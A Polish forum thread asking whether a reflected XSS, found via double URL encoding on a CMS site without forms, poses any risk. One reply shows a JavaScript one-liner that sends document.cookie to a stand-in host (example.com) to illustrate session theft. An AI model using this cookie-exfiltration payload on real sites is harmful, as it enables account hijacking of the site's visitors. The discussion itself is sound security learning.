Mam pytanie odnośnie bezpieczeństwa. Załóżmy, że mam stronę opartą na systemie zarządzania treścią. Dodając w treści adresu przykładowo

Dopiero po podwójnym url encode co prawda, ale jest podatna, bo wyświetla się alert.

Ale teraz najważniejsze, czy można z tym cokolwiek zrobić, to znaczy jakkolwiek wykorzystać w niecnych celach? Na całej stronie, nie ma możliwości pozostawienia jakiegoś wpisu, ani formularza kontaktowego, no żadnej możliwości dodania czegokolwiek na stronę. Więc, czy taka podatność jest w jakikolwiek sposób niebezpieczna?

[JAVASCRIPT] pobierz, plaintext 
var img = new Image(); img.src = 'http://example.com/?zapiszCookie='+encodeURIComponent(document.cookie);
[JAVASCRIPT] pobierz, plaintext 

Pytania?

Ciekawy temat i ja się dołączę do pytania - czy bez możliwości zapisu JS w formularzu lub czymkolwiek co na stałe zapisze nam dane na serwerze istnieje możliwość ataku XSS? Wiem, że pytanie dość "noobowskie" ale lepiej się upewnić na 99% niż obudzić się z ręką w nocniku

Pozdrawiam